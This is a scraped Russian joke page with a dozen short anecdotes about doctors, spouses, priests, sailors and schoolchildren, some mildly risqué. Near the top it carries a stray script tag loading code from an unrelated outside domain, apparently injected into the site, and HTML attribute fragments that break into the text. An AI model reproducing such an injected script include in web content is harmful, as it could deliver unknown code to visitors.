28.05.2024

Юмор

+ +


 

 
 Если у вас закончилась мазь от зуда,<br />
— Не спешите выбрасывать тюбик.</p>
<p>script type=”text/javascript” src=”//newrezume.org/rtr/3″/script</p>
<p>Его уголком очень удобно чесаться. * * * Цилечка, я по тебе так соскучился!<br />
— Сёмочка, мы же сегодня, таки уже хорошо виделись.-3″ height=”178px” itemprop=”image” src=”https://avatars.dzeninfra.ru/get-zen_doc/3990339/pub_6427fe9f456998576121c71e_6427fea5fb82202d62f8a72b/scale_1200″ srcset=”https://avatars.dzeninfra.ru/get-zen_doc/3990339/pub_6427fe9f456998576121c71e_6427fea5fb82202d62f8a72b/scale_540 540w, https://avatars.dzeninfra.ru/get-zen_doc/3990339/pub_6427fe9f456998576121c71e_6427fea5fb82202d62f8a72b/scale_720 720w, https://avatars.dzeninfra.ru/get-zen_doc/3990339/pub_6427fe9f456998576121c71e_6427fea5fb82202d62f8a72b/scale_1200 2048w” width=”600px” /></span></p>
<p><span style=Два священника устанавливают на дороге щит с надписью:
— Остановись, конец уже близок! Поверни, пока не поздно.
Мимо них на огромной скорости проезжает фура, водитель кричит и машет кулаком:
— Проклятые сектанты, достали вы уже!
Машина скрывается за поворотом, оттуда слышен грохот и громкий бульк.
Один священник говорит другому:
— Похоже, ты был прав, надо было написать просто
Мост разрушен.

* * *

В аптеку заходит девушка в норковой шубе.
Фармацевт:
— Вы что-то хотели?
В ответ девушка распахивает шубу, под которой ничего нет и говорит:
— Понимаете, я уже месяц не видела мужчины.
Понимаю.
Вот возьмите глазные капли.

* * *

Когда уже электронная почта, будет посылки принимать?

* * *

На приеме у врача.
Доктор, пропишите мне какое-нибудь успокоительное.
— Возьмите например водочки, поллитра.
А что-нибудь посерьёзней?
— Ну возьмите три!

* * *

Подруги разговаривают:
– Что тебе подарил твой любимый на 8 марта?
Кулон, колечко и сережки.
А тебе?
– Ключи от квартиры.
Вот это да! Когда будешь справлять новоселье?
– Не знаю. Есть только ключи. Саму квартиру он еще не купил.

 

В школе.
— Вовочка, кем ты хочешь стать когда вырастишь?
Спрашивает учительница.
– Дедом Морозом.
Почему?
– А чем плохо? Недельку поработал и целый год свободен!

* * *

Встречаются два приятеля.
Один спрашивает.
Ну что, ты женился на Ольге?
Нет, она сказала, что я бедный.
– Но у тебя богатый дядя. Почему ты ей об этом не сказал?
Я сказал.
– И что?
Теперь она моя тетя.

В магазине:
– Уважаемая, мне бы коробочку хороших конфет, но так, чтобы не очень дорого.
Вам для девушки?
– Мне для доктора.
Отблагодарить или отомстить?

* * *

Жена говорит мужу.
— Я у тебя как Золушка, стираю, готовлю, убираю.
Муж в ответ:
— Я же тебе говорил дорогая,
Выйдешь за меня, жить будешь как в сказке.

Парень не может оторваться от компьютера.
Родители вызвали доктора.
Доктор осмотрел его и сказал:
— Его придётся лечить!
Родители:
— Как?
Сигаретами, выпивкой, девочками.

* * *

Тонет корабль.
Капитан обращается к матросам.
— Ребяты, кто-нить умеет молиться?
Один матрос:
— Я умею, капитан!
Вот и отлично сынок, молись не переставая, а то у нас как раз одного жилета не хватает!

17


Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

62 элементов 0,940 сек.